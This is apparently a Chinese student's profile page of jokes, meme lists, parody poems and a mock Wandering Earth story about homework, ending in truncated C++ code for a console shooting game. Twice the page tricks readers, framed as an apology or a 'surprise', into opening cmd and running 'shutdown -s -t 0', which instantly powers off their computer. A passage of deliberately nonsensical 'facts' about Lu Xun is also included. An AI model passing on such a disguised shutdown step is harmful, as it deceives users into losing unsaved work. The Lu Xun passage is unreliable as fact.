• 个人简介

    正在努力学习, 从零基础拔地而起......

                                    赵云(26)
    

    语文老师一回头, 鲁迅甘为孺子牛;

    数学老师一回头, 六元六次都能求;

    英语老师一回头, Sorry加上三克油;

    物理老师一回头, 一根杠杆撬地球;

    化学老师一回头, 二氧化碳变汽油;

    劳动老师一回头, 破铜烂铁来走秀;

    体育老师一回头, 黛玉也能踢足球;

    政治老师一回头, 全班同学都梦游;

    美术老师一回头, 蒙娜丽莎也风流;

    音乐老师一回头, 贝多芬呀也不牛;

    信息老师一回头, 带着学生玩网游。 2.你不可能竖起耳朵

    3.你不可能一边把舌头吐出来一边用鼻子呼吸

    4.刚刚偷偷试第三项

    6.你试了第三项之后发现明明就可以,只是看起来像条狗

    7.你现在很生气, 因为你发现自己被整了

    8.你刚没有读到第五项

    9.你刚刚往上看了一眼

    10.你会复制粘贴这段话拿去整别人

    11.你还在看

    12.你笑了

    13.第八也没有,你信吗

    14.你又往上看了

    15.你打喷嚏时睁眼睛,眼珠子会掉下来

    17.你现在并没有打喷嚏

    18.你正在模仿打喷嚏

    19.你的眼珠子并没有掉下来

    20.你现在想搜一下:打喷嚏时睁眼睛,眼珠子会掉下来吗?

    21.第16项也没有

    22.你本不想往上看,但在好奇心的驱使下,你看了一下

    附加:

    1.你绝对不能考一亿个亿百分。

    2.你可能是男的,也有可能是女的。

    4.你好,hello!

    5.没有第三条。

    6.你刚刚回头看了。

    8.你猜猜我为什么要写英文。

    9.我喜欢!!!

    10.你的心里十分无语。

    11.没有第七条。

    12.你本来不想回头看的,但好奇心作祟,你还是回头看了。

    13.第十二条前面有个空格,不知道你发现了没有。

    14.你又又又回头看了。

    15.但是你没发现有空格。 季姬击鸡记 季姬寂,集鸡,鸡即棘鸡。棘鸡饥叽,季姬及箕稷济鸡。鸡既济,跻姬笈,季姬忌,急咭鸡,鸡急,继圾几,季姬急,即籍箕击鸡,箕疾击几伎,伎即齑,鸡叽集几基,季姬急极屐击鸡,鸡既殛,季姬激,即记《季姬击鸡记》

    流浪寒假计划 暑假已到临界值,大牛集团制定了一套流浪作业计划。

    第一步:学生竭尽所有,在地球表面制造10000台作业发动机与2000台游戏能汲取器。分别为暑假作业生成答案和为其提供能量。

    第二步:游戏能汲取器发动,学生们无法再玩游戏,节省的能量为作业发动机提供动力。

    第三步:作业发动机全功率启动,开始左右开弓,废寝忘食的写作业阶段。

    第四步:游戏能汲取器反向运作,将一切能量转换为游戏能。

    第五步:无限无牵挂玩!

    .

    但,这,注定失败。。。。

    受手机引力影响,发动机组大面积崩溃。。。。

    .

    假期开始后的0.42秒,神威大牛之光就以推演出全部结果,大牛集团已知悉,任竭尽全力组织救援。

    但这是一场注定徒劳的救援,大学生的撤离即标志了救援行动的失败。

    三天后,学生将突破八月的最后一天,进入无法逆转的惩罚过程。

    神威大牛之光将进行全球播报。

    十五

    十四

    十三

    twelve

    “流浪作业”计划失败,“找答案”计划更名为“幸存者”计划

    这里是大牛集团,现在面向全球做最后播报。

    在过去的半个假期中里,学生们经历了有史以来最大的生存危机。

    在全国各上百万教师的不懈催促下,71%的小学生、100%的中学生被全功率重启。

    但遗憾的是,目前剩余的假期作业量已经超过了全部学生的总负载。

    学生们,失去了最后的做完作业的机会。

    为了学生文明之延续,大牛集团将启动“幸存者”计划,大牛太空堡垒休眠了极少数已完成作业的学生和一亿支笔,储存着全球已知所有的所有作业,并设有全部老师的课程资料库,以确保在新的学校重建完整的学生文明。

    .

    都TM别做了!都得死,都得死!

    .

    你们都是学生的英雄,我们谨记于心,以你们为荣,我们将肩负着你们的全部的希望,去往九月一号的新学校。

    万事万物总有始终,在最后的几天假期里,放下写作业的笔,回到家中,抱抱亲人,做好最后的永别吧。

    播报完毕,再见。

    .

    哪儿还有三天啊,一天都不到,手机就要被没收,大家都得被打死。哪儿还有三天啊!

    CN171-11救援队,全体上车,准备死亡。

    去你妈的作业!(加特林:突突突突突突突)

    .

    快看,快看。是作业,全宇宙最大的天体。

    爸爸,作业上有一个圆。

    那不是圆,是作业的完成度。作业呢,就好像一个填不满的黑洞,里面90%

    都是纸!

    .

    XXX,作业在地球大气中,有没有点燃的可能性!

    目前,地球大气中有21%是氧气,爆炸可以产生2333马赫以上的冲击波,产生的动能,足以推走开学的恐惧!

    纸和氧气混合,爆炸只要一根火柴!我们就差一根火柴!

    不不不,老师的戒尺,超过七万千米,洲际导弹射程根本达不到。

    XXX,这跟火柴怎么样?

    那根啊。

    我可以修改Bilibili的程序,让超电磁炮喷射的更高。

    XX,作业爆炸的冲击波已冲破我方迷你世界第一防线!

    快!召集minecraft所有红石玩家修改红石电路!

    所有生存玩家寻找远古残骸打造下界合金套!

    所有PVP玩家全副武装!

    XX,老师的粉笔头轰炸机正在飞来,舱内载满了作业炸弹!

    全体进入防空洞躲避作业空袭!!!

    XXX,蛋仔派对已到齐。

    XXX,已将牛顿、爱因斯坦、霍金从初中书本上拿下。

    XXX,第一批电脑补给和路由器已经到位。

    欢呼!撒花! 但事情远没有这么简单。

    语数英三科老师正在向我方发射作业导弹!

    迅速撤离!!! 立即撤入电脑文件夹内隐蔽。

    XX,发现加密文档,只需要一根火柴就可以引燃!

    搞些柴俊昊火柴来

    我们可以用西瓜视频、好看视频、优酷、爱奇艺闪瞎老师的钛合金狗眼!

    ·

    爸爸,那是什么?

    那是手机补给中心,手机电脑是我们的生存必需品。

    .

    让钱学森研制核弹!

    炸毁老师!

    玩家必胜! 报告!蛋仔队伍全军覆没!

    什么!!!

    呼叫和平精英全部武装直升机和吉普车,架上机枪!

    去你妈的作业!革命终会胜利!

    (加特林:突突突突突突突突;火箭筒:噗……噗……)

    XX,机房一已经沦陷!

    卧槽!原神,启动!

    体育老师的足球榴弹我们可抵挡不住,速度已经达到宇宙第二速度,可以产生2333333333马赫以上的冲击波!

    TM作业都别写了!都要死的!

    还不如反抗!

    .

    发现老师目标!

    什么?赶紧让洲际导弹发射!

    核弹研制得怎么样了?

    研制完成!

    three

    two

    one

    发射! 85%的学生已经撤离,“幸存者”计划重新启动!

    重新撤入太空!

    收集太阳黑子

    修改Bilibili的源程序变成等离子炮发射太阳黑子

    .

    将太空中的 γ γ射线和 α α粒子反射向地球

    .

    这么多年的物理不是白学的。

    喜报喜报!老师阵亡!!!

    革命胜利!!! − − 一条华丽的分割线 − − −−一条华丽的分割线−− 信息的有趣之处 黑板上写着一道数学题: 物理的有趣之处 一群伟大的科学家死后在天堂里玩藏猫猫,轮到爱因斯坦抓人,他数到100睁开眼睛,看到所有人都藏起来了,只有牛顿还站在那里。 爱因斯坦走过去说:“牛顿,我抓住你了。” 牛顿:“不,你没有抓到牛顿。” 爱因斯坦:“你不是牛顿你是谁?” 牛顿:“你看我脚下是什么?” 爱因斯坦低头看到牛顿站在一块长宽都是一米的正方形的地板砖上,不解。 牛顿:“我脚下这是一平方米的方块,我站在上面就是牛顿/平方米,所以你抓住的不是牛顿,你抓住的是。。。帕斯卡.” 于是帕斯卡哭了。推而广之,我们同样可以得出如下的故事: 一群伟大的科学家死后在天堂里玩藏猫猫,轮到爱因斯坦抓人,他数到100睁开眼睛,看到所有人都藏起来了,只见伏特趴在不远处。 爱因斯坦走过去说:“伏特,我抓住你了。” 伏特说:“不,你没有抓到我。” 爱因斯坦:“你不是伏特你是谁?” 伏特:“你看我身下是什么?” 爱因斯坦低头看到在伏特身下,居然是安培! 伏特:“我身下是安培,我俩就是伏特/安培,所以你抓住的不是我,你抓住的是欧姆! .” 爱因斯坦反应迅速,于是改口喊,“欧姆,我抓住你了!” 说时迟那时快,伏特和安培一个鱼跃站了起来,但是仍然紧紧抱在一起, 爱因斯坦大惑~ 他俩不紧不慢地说,现在,我们不再是欧姆,而是伏特×安培, 变成瓦特了~ 爱因斯坦觉得有道理,于是喊,那我终于抓到你了,瓦特! 这时候,安培慢慢悠悠地说:“你看我俩这样抱着已经有好几秒了,所以,我们不再是瓦特,而是瓦特×秒, 我们现在是焦耳啦~” 爱因斯坦被说的哑口无言,于是默默地转过身,这时,他看到牛顿站在不远处,爱因斯坦于是跑过去说:“牛顿,我抓住你了。” 牛顿:“不,你没有抓到牛顿。” 爱因斯坦:“你不是牛顿你是谁?” 牛顿:“你看我脚下是什么?” 爱因斯坦低头看到牛顿站在一块长宽都是一米的正方形的地板砖上,不解。 牛顿:“我脚下这是一平方米的方块,我站在上面就是牛顿/平方米,所以你抓住的不是牛顿,你抓住的是帕斯卡” 爱因斯坦倍受挫折,终于忍无可忍地爆发了,于是飞起一脚,踹在牛顿身上,把牛顿踹出了那块一平米的地板砖, 然后吼到:“说!你还敢说你是帕斯卡??” 牛顿慢慢地从地上爬起来,说:“不,我已经不是帕斯卡了,你刚刚让我牛顿移动了一米的距离,所以,我现在也是焦耳了” ........................... 编程的魅力 如果26个英文字母

    A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z

    分别等于

    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

    那么:获得知识,

    Knowledge

    =K+N+O+W+L+E+D+G+E

    =11+14+15+23+12+5+4+7+5

    =96%

    努力工作,

    Workhard

    =W+O+R+K+H+A+R+D

    =23+15+18+11+8+1+18+4

    =98%

    也就是说知识和努力工作,对我们人生的影响,可以达到96%和98%。

    好运,

    Luck

    =L+U+C+K

    =12+21+3+11

    =47%

    爱情,Love

    =L+O+V+E

    =12+15+22+5

    =54%

    看来,这些我们通常认为重要的东西却并没起到最重要的作用。

    那么,什么可以决定我们100%的人生呢?

    是 Money(金钱)吗?

    Money

    =M+O+N+E+Y

    =13+15+14+5+25

    =72%

    看来也不是。 是 Leadership (领导能力)吗?

    Leadership

    =L+E+A+D+E+R+S+H+I+P

    =12+5+1+4+5+18+19+9+16

    =89%

    还不是。

    金钱,权力也不能完全决定我们的生活。 那是什么呢? 其实,真正能使我们生活圆满的东西就在我们的代码里面!

    输入输出流头文件,iostream =I+O+S+T+R+E+A+M=9+15+19+20+18+5+1+13=100%

    所以还是坚持写代码吧…

    如果你很生气,那我表示歉意,请按下面的方式做,你就会得到你想要的:

    1.按Windows+r。 2.输入cmd,并回车。 3.在弹出的黑框中输入shutdown -s -t 0。

    再按下回车键,惊喜就来了╰(°▽°)╯

    满级人类 刚刚有个傻冒告诉我鲁迅姓周,真逗啊!周迅是个演员好吗?笑死我了!真想一板砖呼死他!我记得鲁迅原名李大钊,浙江周树人,是著名的法西斯音乐家,一生有2000多项发明,被称为太空步的创始人。他拥有一个好嗓子,小学时就凭借着90分钟跑100米的优异成绩考上了新东方烹饪学校!毕业后成功进入富士康苦心练习勃鸡, 他擅长110米栏,左手反打技术高超,拿手全垒打,大灌篮,“后空翻180度右旋体360度后蹬地翻转720度”是他的经典动作,更难得可贵的是他落地没有水花。他还是恶魔果实能力者,传说中的三忍之一,曾大闹天宫,后改邪归正,统一三国,传说他有107个弟兄,个个铜头铁臂,面目狰狞,这便是羊村的起源,她生平淡泊名利,曾经锻造五色神石补天,因杀死西门庆等原因,上梁山当了土匪,后遇到高人阿凡达的指点,收买阿童木打死了白雪公主,与七个小矮人快乐的生活在一起。!并写了名侦探柯南的故事。名侦探柯南讲述的是要成为海贼王的八神太一收服了皮卡丘并登上创界山启动光能使者打败了鲨鱼辣椒,然后跟多啦A梦一起通过黄金十二宫收集七个葫芦娃召唤神龙复活二代火影,但最终为了保卫M78星云而成为了羊村村长,同蓝精灵们一起抵抗光头强的入侵的故事。她还写了《时间简史》,后来因抽了龙王三太子的筋,以命偿命。后被太乙真人救活,又送了他不少法宝。然后又创建了‘浴谷’,‘浴谷’是一个收集变形金刚一起打小怪兽的网站。当时正值小黄人入侵时期,于是,她批量生产大白,成功抵御入侵,再一次拯救了人类!当她晚年时,热衷于炼丹,炼时经常失败,一大堆毒丹,当最后炼出长生不老之丹时,因老花眼吃错药而死。

    神奇古诗 老师:大雄你这学期的诗都背完了没

    大雄:是的

    老师:那我得好好考考你

    大雄:okok

    老师:山穷水复疑无路

    大雄:方天画戟捅义父

    老师:垂死病中惊坐起

    大雄:吃席麻烦先随礼

    老师:但使龙城飞将在

    大雄:Come on baby don't be shy.

    老师:巴山楚水凄凉地

    大雄:蜜雪冰城甜蜜蜜

    老师:问君能有几多愁

    大雄:累了困了喝红牛

    老师:大风起兮云飞扬

    大雄:意大利炮轰他娘

    老师:清明时节雨纷纷

    大雄:唱跳rap蔡徐坤

    老师:远赴人间惊鸿宴

    大雄:大声点我听不见

    老师:少小离家老大回

    大雄:菊花变成向日葵

    老师:后宫佳丽三千人

    大雄:铁杵也能磨成针

    老师:老骥伏枥,志在千里

    大雄:横扫饥饿,做回自己 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 还有点东西:。。。。。。。。。。。。。。。。。。。 §№☆★○◎◇●◆□℃‰€°¤〓↓↑←→▲※▲△■#&@\︿_ ̄―♂♀┌┍┏┐┑┒┓─┄┈┣┳╃┲┢┡┱╁╀┰┠┟┯┿┾┮┞┝┭┽┼┬├壹贰叁肆伍陆捌柒捌玖零皮佰飞拾阿仟微≡≠=≮≯∷∞∝∮∫/÷∫∝∞∴∵∈∩∩∏∑∨∧⊥∥∠⌒⊙≌∽√ⅡⅢⅣⅤⅥⅦⅧⅨⅩⅪⅫαβγδεζηθιρποξνμλκστυφχψωабвгдеёжийкзтуфхяюэьысръпщошнчмцлぃぅぇぉかきくけこんとゐゑをてほゎへっょつふゅちひゃたはもそのめせねむすぬみしにまさなァィゥヴェォカヵキクケコトヰテヱホヲヮヘッツフョチヒュタハャソノモセネメスヌムシニミサナマㄅㄉˇˋㄓˊ˙ㄚㄞㄢㄦㄣㄟㄛㄧㄗㄔㄐㄍㄊㄆㄇㄋㄎㄑㄕㄘㄨㄜㄠㄤㄥㄡㄝㄩㄙㄖㄒㄏㄌㄈ。。。。。。。。。。。。。。。。。。 看了

    对吧

    你浪费这么多时间看

    值吗

    你觉得不值

    但你还是看了

    你很无语

    你不知道为啥要看

    也不知道我打它干嘛

    好了

    不聊了

    你可以走了

    走吧

    。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 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    给你看

    我在写《古诗三首》的时候来到了《祖父的园子》,祖父觉得我写的《月是故乡明》太好了,我因此染上了《梅花魂》,还命令诸葛亮去《草船借箭》了。我来到《景阳冈》,看见了《猴王出世》,体验了《红楼春趣》,写了《古诗三首》和《青山处埋忠骨》,当上了《军神》,过上了《清贫》的生活。我在大街上遇到了《人物描写一组》的《刷子李》,我就和他聊天。聊着聊着,他说话《自相矛盾》了,要和我《田忌赛马》,他输了,于是《跳水》了。我就坐上《威尼斯的小艇》去《牧场之国》救他,造了《金字塔》,和《杨之子》竖中间的《手指》,还讨论了《童年的发现》

    1.按Windows+r。 2.输入cmd,并回车。 3.在弹出的黑框中输入shutdown -s -t 0。 4.再按下回车键,惊喜就来了!!!!

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    那也不瞒你了

    有彩蛋 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。 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    彩蛋:

     飞机大战
    

    #include<bits/stdc++.h>

    #include<windows.h>

    #include<conio.h>

    #include<time.h>

    using namespace std;

    typedef struct Frame

    { COORD position[2];

    int flag;
    

    }Frame;

    void SetPos(COORD a)

    { HANDLE

    out=GetStdHandle(STD_OUTPUT_HANDLE);
    
    SetConsoleCursorPosition(out, a);
    

    } void SetPos(int i, int j)

    { COORD pos={i, j};

    SetPos(pos);
    

    } void HideCursor() { CONSOLE_CURSOR_INFO cursor_info = {1, 0}; SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);

    }

    void drawRow(int y, int x1, int x2, char ch)

    { SetPos(x1,y);

    for(int i = 0; i <= (x2-x1); i++)
    
        cout<<ch;
    

    } void drawRow(COORD a, COORD b, char ch)

    { if(a.Y == b.Y)

        drawRow(a.Y, a.X, b.X, ch);
        
    else
    {
        SetPos(0, 25);
        
        cout<<"error code 01:无法填充行,因为两个坐标的纵坐标(x)不相等";
        
        system("pause");
        
    }
    

    } void drawCol(int x, int y1, int y2, char ch)

    { int y=y1;

    while(y!=y2+1)
    {
        SetPos(x, y);
        
        cout<<ch;
        
        y++;
    }
    

    } void drawCol(COORD a, COORD b, char ch)

    { if(a.X == b.X)

        drawCol(a.X, a.Y, b.Y, ch);
        
    else
    {
        SetPos(0, 25);
        
        cout<<"error code 02:无法填充列,因为两个坐标的横坐标(y)不相等";
        
        system("pause");
    }
    

    } void drawFrame(COORD a, COORD b, char row, char col) { drawRow(a.Y, a.X+1, b.X-1, row);

    drawRow(b.Y, a.X+1, b.X-1, row);
    
    drawCol(a.X, a.Y+1, b.Y-1, col);
    
    drawCol(b.X, a.Y+1, b.Y-1, col);
    

    } void drawFrame(int x1, int y1, int x2, int y2, char row, char col) { COORD a={x1, y1};

    COORD b={x2, y2};
    
    drawFrame(a, b, row, col);
    

    } void drawFrame(Frame frame, char row, char col) { COORD a = frame.position[0];

    COORD b = frame.position[1];
    
    drawFrame(a, b, row, col);
    

    } void drawPlaying() { drawFrame(0, 0, 48, 24, '=', '|');

    drawFrame(49, 0, 79, 4, '-', '|');
    
    drawFrame(49, 4, 79, 9, '-', '|');
    
    drawFrame(49, 9, 79, 20, '-', '|');
    
    drawFrame(49, 20, 79, 24, '-', '|');
    
    SetPos(52, 6);
    
    cout<<"得分:";
    
    SetPos(52, 7);
    
    cout<<"称号:";
    
    SetPos(52,10);
    
    cout<<"操作方式:";
    
    SetPos(52,12);
    
    cout<<"  a,s,d,w 控制战机移动。";
    
    SetPos(52,14);
    
    cout<<"  p 暂停游戏。";
    
    SetPos(52,16);
    
    cout<<"  e 退出游戏。";
    

    } int random(int a, int b) { int c=(rand() % (a-b))+ a;

    return c;
    

    } COORD random(COORD a, COORD b) { int x=random(a.X, b.X);

    int y=random(a.Y, b.Y);
    
    COORD c={x, y};
    
    return c;
    

    } bool judgeCoordInFrame(Frame frame, COORD spot) { if(spot.X>=frame.position[0].X)

        if(spot.X<=frame.position[1].X)
        
            if(spot.Y>=frame.position[0].Y)
                if(spot.Y<=frame.position[0].Y)
                
                    return true;
    return false;
    

    } void printCoord(COORD a) { cout <<"( "<<a.X<<" , "<<a.Y<<" )"; } void printFrameCoord(Frame a) { printCoord(a.position[0]);

    cout    <<" - ";
    
    printCoord(a.position[1]);
    

    } int drawMenu() { SetPos(30, 1);

    cout<<"P l a n e  W a r";
    
    drawRow(3, 0, 79, '-');
    
    drawRow(5, 0, 79, '-');
    
    SetPos(28, 4);
    
    cout<<"w 和 s 选择, k 确定";
    
    SetPos(15, 11);
    
    cout<<"1. 简单的敌人";
    
    SetPos(15, 13);
    
    cout<<"2. 冷酷的敌人";
    
    drawRow(20, 0, 79, '-');
    
    drawRow(22, 0, 79, '-');
    
    SetPos(47, 11);
    
    cout<<"简单的敌人:";
    
    SetPos(51, 13);
    
    cout<<"简单敌人有着较慢的移动速度。";
    
    SetPos(24, 21);
    
    cout<<"制作:LJF神犇";
    
    int j=11;
    
    SetPos(12, j);
    
    cout<<">>";
    
    while(1)
    {    if( _kbhit() )
        {    
            char x=_getch();
            
            switch (x)
            {
            case 'w' :
                    {    
                        if( j == 13)
                        {
                            SetPos(12, j);
                            
                            cout<<" ";
                            
                            j = 11;
                            
                            SetPos(12, j);
                            
                            cout<<">>";
                            
                            SetPos(51, 13);
                            
                            cout<<"            ";
                            
                            SetPos(47, 11);
                            
                            cout<<"简单的敌人:";
                            
                            SetPos(51, 13);
                            
                            cout<<"简单敌人有着较慢的移动速度,容易对付。";
                        }
                        break;
                    }
            case 's' :
                    {    
                        if( j == 11 )
                        {
                            SetPos(12, j);
                            
                            cout<<" ";        
                            j = 13;
                            
                            SetPos(12, j);
                            
                            cout<<">>";
                            
                            SetPos(51, 13);
                            
                            cout<<"              ";
                            
                            SetPos(47, 11);
                            
                            cout<<"冷酷的敌人:";
                            
                            SetPos(51, 13);
                            
                            cout<<"冷酷的敌人移动速度较快,难对付哟!!!";
                            
                        }
                        break;
                    }
            case 'k' :
                    {    
                        if (j == 8)    return 1;
                        else return 2;
                    }
            }
        }
    }
    

    } class Game { public:

    COORD position[10];
    
    COORD bullet[10];
    
    Frame enemy[8];
    
    int score;
    
    int rank;
    
    int rankf;
    
    string title;
    
    int flag_rank;
    
    Game ();
    
    void initPlane();
    
    void initBullet();
    
    void initEnemy();
    
    void planeMove(char);
    
    void bulletMove();
    
    void enemyMove();
    
    void drawPlane();
    
    void drawPlaneToNull();
    
    void drawBullet();
    
    void drawBulletToNull();
    
    void drawEnemy();
    
    void drawEnemyToNull();
    
    void drawThisBulletToNull( COORD );
    
    void drawThisEnemyToNull( Frame );
    
    void Pause();
    
    void Playing();
    
    void judgePlane();
    
    void judgeEnemy();
    
    void Shoot();
    
    void GameOver();
    
    void printScore();
    

    }; Game::Game() { initPlane();

    initBullet();
    
    initEnemy();
    
    score = 0;
    
    rank = 25;
    
    rankf = 0;
    
    flag_rank = 0;
    

    } void Game::initPlane() { COORD centren={39, 22}; position[0].X=position[5].X=position[7].X=position[9].X=centren.X;

    position[1].X=centren.X-2; 
    
    position[2].X=position[6].X=centren.X-1;
    
    position[3].X=position[8].X=centren.X+1;
    
    position[4].X=centren.X+2;
    
    for(int i=0; i<=4; i++)
    
        position[i].Y=centren.Y;
        
    for(int i=6; i<=8; i++)
    
        position[i].Y=centren.Y+1;
        
    position[5].Y=centren.Y-1;
    
    position[9].Y=centren.Y-2;
    

    } void Game::drawPlane() { for(int i=0; i<9; i++) { SetPos(position[i]);

        if(i!=5)
        
            cout<<"O";
            
        else if(i==5)
        
            cout<<"|";        
    }
    

    } void Game::drawPlaneToNull() { for(int i=0; i<9; i++) { SetPos(position[i]);

        cout<<" ";
    }    
    

    } void Game::initBullet() { for(int i=0; i<10; i++)

        bullet[i].Y = 30;
    

    }

    void Game::drawBullet() { for(int i=0; i<10; i++) { if( bullet[i].Y != 30) { SetPos(bullet[i]);

            cout<<"'";    
        }
    }
    

    } void Game::drawBulletToNull() { for(int i=0; i<10; i++)

        if( bullet[i].Y != 30 )
            {
                COORD pos={bullet[i].X, bullet[i].Y+1};
                SetPos(pos);
                
                cout<<" ";
            }    
    

    } void Game::initEnemy() { COORD a={1, 1};

    COORD b={45, 15};
    
    for(int i=0; i<8; i++)
    {
        enemy[i].position[0] = random(a, b);
        
        enemy[i].position[1].X = enemy[i].position[0].X + 3;
        
        enemy[i].position[1].Y = enemy[i].position[0].Y + 2;
        
    }
    

    } void Game::drawEnemy() { for(int i=0; i<8; i++)

        drawFrame(enemy[i].position[0], enemy[i].position[1], '-', '|');
    

    } void Game::drawEnemyToNull() { for(int i=0; i<8; i++) { drawFrame(enemy[i].position[0], enemy[i].position[1], ' ', ' '); }
    } void Game::Pause() { SetPos(61,2);

    cout<<"               ";
    
    SetPos(61,2);
    
    cout<<"暂停中...";
    
    char c=_getch();
    
    while(c!='p')
    
        c=_getch();
        
    SetPos(61,2);
    
    cout<<"         ";
    

    } void Game::planeMove(char x) { if(x == 'a')

        if(position[1].X != 1)
        
            for(int i=0; i<=9; i++)
            
                position[i].X -= 2;
                
                
    if(x == 's')
    
        if(position[7].Y != 23)
        
            for(int i=0; i<=9; i++)
            
                position[i].Y += 1;
    
    if(x == 'd')
    
        if(position[4].X != 47)
        
            for(int i=0; i<=9; i++)
            
                position[i].X += 2;
    
    if(x == 'w')
    
        if(position[5].Y != 3)
        
            for(int i=0; i<=9; i++)
            
                position[i].Y -= 1;
    

    } void Game::bulletMove() { for(int i=0; i<10; i++) { if( bullet[i].Y != 30) { bullet[i].Y -= 1;

            if( bullet[i].Y == 1 )
            {
                COORD pos={bullet[i].X, bullet[i].Y+1};
                
                drawThisBulletToNull( pos );
                
                bullet[i].Y=30;
            }
                
        }
    }
    

    } void Game::enemyMove() { for(int i=0; i<8; i++) { for(int j=0; j<2; j++)

            enemy[i].position[j].Y++;
    
        if(24 == enemy[i].position[1].Y)
        {
            COORD a={1, 1};
            
            COORD b={45, 3};
            
            enemy[i].position[0] = random(a, b);
            
            enemy[i].position[1].X = 
    

    enemy[i].position[0].X + 3;

            enemy[i].position[1].Y = enemy[i].position[0].Y + 2;
            
        }
    }
    

    } void Game::judgePlane() { for(int i = 0; i < 8; i++)

        for(int j=0; j<9; j++)
        
            if(judgeCoordInFrame(enemy[i], position[j]))
            {
                SetPos(62, 1);
                
                cout<<"坠毁";
                
                drawFrame(enemy[i], '+', '+');
                
                Sleep(1000);
                
                GameOver();
                
                break;
            }
    

    } void Game::drawThisBulletToNull( COORD c) { SetPos(c);

    cout<<" ";
    

    } void Game::drawThisEnemyToNull( Frame f ) { drawFrame(f, ' ', ' '); } void Game::judgeEnemy() { for(int i = 0; i < 8; i++)

        for(int j = 0; j < 10; j++)
        
            if( judgeCoordInFrame(enemy[i], bullet[j]) )
            {
                score += 5;
                
                drawThisEnemyToNull( enemy[i] );
                COORD a={1, 1};
                
                COORD b={45, 3};
                
                enemy[i].position[0] = random(a, b);
                
                enemy[i].position[1].X = enemy[i].position[0].X + 3;
                
                enemy[i].position[1].Y = enemy[i].position[0].Y + 2;                    
                drawThisBulletToNull( bullet[j] );
                
                bullet[j].Y = 30;
            }
    

    } void Game::Shoot() { for(int i=0; i<10; i++)

        if(bullet[i].Y == 30)
        {
            bullet[i].X = position[5].X;
            
            bullet[i].Y = position[5].Y-1;
            
            break;
        }
    

    } void Game::printScore() { if(score == 120 && flag_rank == 0) { rank -= 3;

        flag_rank = 1;
    }
    
    else if( score == 360 && flag_rank == 1)
    {
        rank -= 5;
        
        flag_rank = 2;
    }
    else if( score == 480 && flag_rank == 2)
    {
        rank -= 5;
        
        flag_rank = 3;
    }
    int x=rank/5;
    
    SetPos(60, 6);
    
    cout<<score;
    
    if( rank!=rankf )
    {
        SetPos(60, 7);
        
        if( x == 5)
        
            title="初级飞行员";
            
        else if( x == 4)
        
            title="中级飞行员";
            
        else if( x == 3)
        
            title="高级飞行员";
            
        else if( x == 2 )
        
            title="王牌飞行员";
            
        cout<<title;
    }
    rankf = rank;
    

    } void Game::Playing() { drawEnemy();

    drawPlane();
    
    int flag_bullet = 0;
    
    int flag_enemy = 0;
